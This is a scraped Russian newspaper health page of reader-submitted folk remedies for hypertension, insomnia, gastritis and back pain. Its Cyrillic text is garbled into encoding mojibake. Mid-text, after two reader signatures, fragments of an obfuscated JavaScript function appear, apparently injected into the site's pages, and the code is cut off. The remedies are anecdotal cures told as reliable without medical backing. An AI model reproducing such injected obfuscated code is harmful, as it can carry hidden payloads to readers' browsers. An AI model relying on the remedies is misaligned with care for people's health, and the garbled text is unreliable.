«Àðãóìåíòû è ôàêòû»
Ãèïåðòîíèÿ îäíî èç øèðîêî-ðàñïðîñòðàíåííûõ çàáîëåâàíèé ñåðäå÷íî-ñîñóäèñòîé ñèñòåìû. Ýòèì çàáîëåâàíèåì ñòðàäàåò êàæäûé òðåòèé æèòåëü Ðîññèè...
ß ãèïåðòîíèê ñî ñòàæåì. Ðàíüøå äàâëåíèå ïîäíèìàëîñü áóêâàëüíî îò âñåãî. Ñòîèëî ïîãîäå ïîìåíÿòüñÿ èëè ìíå ïîíåðâíè÷àòü íåìíîãî – è âïîðó «ñêîðóþ» âûçûâàòü. Íî êàê-òî ðàç êîëëåãà ïîñîâåòîâàëà ìíå îòëè÷íîå íàðîäíîå ñðåäñòâî. Îíà è ñàìà ìó÷èëàñü ñ äàâëåíèåì, íî áëàãîäàðÿ ñâîåìó íàòóðàëüíîìó ëåêàðñòâó ñòàëà ÷óâñòâîâàòü ñåáÿ ëó÷øå. Êîíå÷íî, åñëè äàâëåíèå óæå ñèëüíî ïîäñêî÷èëî, áåç òàáëåòîê íå îáîéòèñü, íî, ñ òåõ ïîð êàê ÿ ñòàëà ïîëüçîâàòüñÿ íàðîäíûìè ðåöåïòàìè, ïðèñòóïû ñòàëè ñëó÷àòüñÿ íàìíîãî ðåæå. Âîò ýòî çàìå÷àòåëüíîå ñðåäñòâî.
● Ñòîëîâóþ ëîæêó ìåäà ðàñòâîðèòü â 1 ñòàêàíå ìèíåðàëüíîé âîäû, äîáàâèòü ñîê ïîëîâèíû ëèìîíà. Âûïèòü...
Áåññîííèöà áûâàåò íå òîëüêî ó ïîæèëûõ ëþäåé èëè ëþäåé ñ øàòêîé íåðâíîé ñèñòåìîé. Áåññîííèöà ìîæåò «ïðèéòè» è ê çäîðîâîìó ÷åëîâåêó â ëþáîì âîçðàñòå è ñîâåðøåííî âíåçàïíî…
Õî÷ó ïîäåëèòüñÿ ñ ÷èòàòåëÿìè «ÀèÔ.Çäîðîâüå» ñâîèì ðåöåïòîì îò áåññîííèöû. Äóìàþ, â íàøå áåñïîêîéíîå âðåìÿ îí ïðèãîäèòñÿ ìíîãèì. Âîçüìèòå 40 ã ÿãîä áîÿðûøíèêà, çàëåéòå 200 ìë êèïÿòêà, äàéòå íàñòîÿòüñÿ è ïåéòå êàê ÷àé. À åùå õîðîøî ïåðåä ñíîì ñìàçàòü âèñêè ëàâàíäîâûì ìàñëîì.
Òàìàðà Áîëîòîâà, Òâåðü
Ëè÷íîå ìíåíèå
Îëüãà Ïðîêîôüåâà:
– Åñëè ìåäèöèíà íàðîäíàÿ ïî-íàñòîÿùåìó, ÿ ê íåé îòíîøóñü õîðîøî. Ìíå î÷åíü íðàâèòñÿ òîëîêíÿíêà, ïîëüçóþñü åþ, êîãäà ïðîñòûâàþ, îíà îòëè÷íî óêðåïëÿåò îðãàíèçì. Åå íå î÷åíü ïðèÿòíî ïèòü, îíà ãîðüêàÿ, íî ýôôåêò îò åå ïðèåìà ïîðàçèòåëüíûé. Ìîãó ñêàçàòü ïî ñåêðåòó, ÷òî, åñëè ïðîñòóæàåòåñü «ïî æåíñêîé ÷àñòè», ýòî ãåíèàëüíîå...
Ìó÷àåòåñü ñèëüíûìè áîëÿìè â æåëóäêå, è ïîýòîìó âûíóæäåíû îòêàçûâàòüñÿ îò ïðèâû÷íîé âêóñíîé åäû?
Ó ìåíÿ õðîíè÷åñêèé ãàñòðèò. Îñòðîå, æàðåíîå, ñîëåíîå ìíå ïðîòèâîïîêàçàíî. Íî òóò êàê-òî ðàç ïîåõàëà â ãîñòè ê ðîäñòâåííèêàì. Ñàìè ïîíèìàåòå – êàêîå çàñòîëüå áåç ñîëåíèé è ìàðèíàäîâ! Íå ñìîãëà óñòîÿòü è áóêâàëüíî ÷åðåç äâà ÷àñà ïîñëå ïðàçäíè÷íîãî óæèíà ñâàëèëàñü ñ ïðèñòóïîì ãàñòðèòà.
Òóò-òî ïëåìÿííèöà è ïîñîâåòîâàëà ìíå ïèòü òåïëûé êàïóñòíûé ñîê.
● Êàïóñòíûå ëèñòüÿ ðåæóò è îòæèìàþò. Ñîê ñëåãêà ïîäîãðåâàþò è ïüþò ïî 0,5 ñòàêàíà 3 ðàçà â äåíü çà ÷àñ äî åäû. Óæå ÷åðåç äâà äíÿ òàêîãî ëå÷åíèÿ ïðèñòóï ïðîøåë! Òåïåðü ÿ âñåãäà ïîëüçóþñü ýòèì ðåöåïòîì, è íàäî ñêàçàòü, ÷òî ãàñòðèò ïî÷òè ïåðåñòàë ìåíÿ äîíèìàòü.
Àííà Ëîáàíîâà, Òâåðüfunction...
Áîëèò ñïèíà? Ïîòÿíóëè ïîÿñíèöó? Ñâîäèò ìûøöû?
Íå òàê äàâíî áûë íà äà÷å, âåñü äåíü ãðÿäêè êîïàë, è ê âå÷åðó ïîÿñíèöó òàê ñêðóòèëî, ÷òî äóìàë, íèêîãäà óæå íå ðàçîãíóñü.
Ñïàñ ìåíÿ ñîñåä, êîòîðûé íàìàçàë ìíå ñïèíó ìàçüþ ñîáñòâåííîãî ïðèãîòîâëåíèÿ. Áîëü êàê ðóêîé ñíÿëî! Òåïåðü ÿ ýòîò ðåöåïò çàïèñàë è, åñëè ÷òî, òîëüêî èì è ïîëüçóþñü!
Åñëè ðàçáîëåëàñü ñïèíà, íóæíî ïðèãîòîâèòü ñìåñü èç ÷åòâåðòè ñòàêàíà âîäêè, 0,5 ñòàêàíà ìåäà, 3/4 ñòàêàíà ìåëêî íàòåðòîé ðåäüêè è äâóõ ñòîëîâûõ ëîæåê ñîëè. Ïðèìåíÿòü ýòó ñìåñü íàðóæíî äëÿ ðàñòèðàíèÿ 2 ðàçà â äåíü ïðè îáîñòðåíèè.
Ìèõàèë Èâàíîâè÷ Ïðîíèí, Ðÿçàíüfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Îò òîãî, ÷òî ìû åäèì, çàâèñèò è âíåøíîñòü, è çäîðîâüå. Ïîïðîáóåì ñîñòàâèòü èäåàëüíîå ìåíþ
Çàâòðàê
Çà÷åì íóæåí
Âðà÷è ñ÷èòàþò, ÷òî ÷åëîâåê, êîòîðûé ïðèâûê çàâòðàêàòü, ìåíåå ïîäâåðæåí ñòðåññàì â òå÷åíèå äíÿ, ÷åì åãî «ãîëîäíûå» ñîáðàòüÿ. Êðîìå òîãî, óòðåííèé ïðèåì ïèùè íåîáõîäèì ìîçãó äëÿ òîãî, ÷òîáû ëó÷øå êîíöåíòðèðîâàòüñÿ è çàïîìèíàòü èíôîðìàöèþ. Íåäàðîì ëþäè, íå îòêàçûâàþùèå ñåáå â çàâòðàêå, ðåæå ïîïàäàþò â àâòîìîáèëüíûå àâàðèè. Èññëåäîâàíèÿ ïîêàçûâàþò, ÷òî õîðîøèé çàâòðàê ïîâûøàåò ðàáîòîñïîñîáíîñòü ïðèìåðíî íà 30%, ïîýòîìó åñëè âàì ïðåäñòîèò òÿæåëûé äåíü â îôèñå, íå çàáóäüòå óòðîì ñíàáäèòü îðãàíèçì çàïàñîì ýíåðãèè.
Òåì, êòî áîèòñÿ ïîïðàâèòüñÿ, ñëåäóåò çíàòü, ÷òî îòñóòñòâèå óòðåííåé òðàïåçû íå òîëüêî íå óëó÷øàåò ôèãóðó, íî...
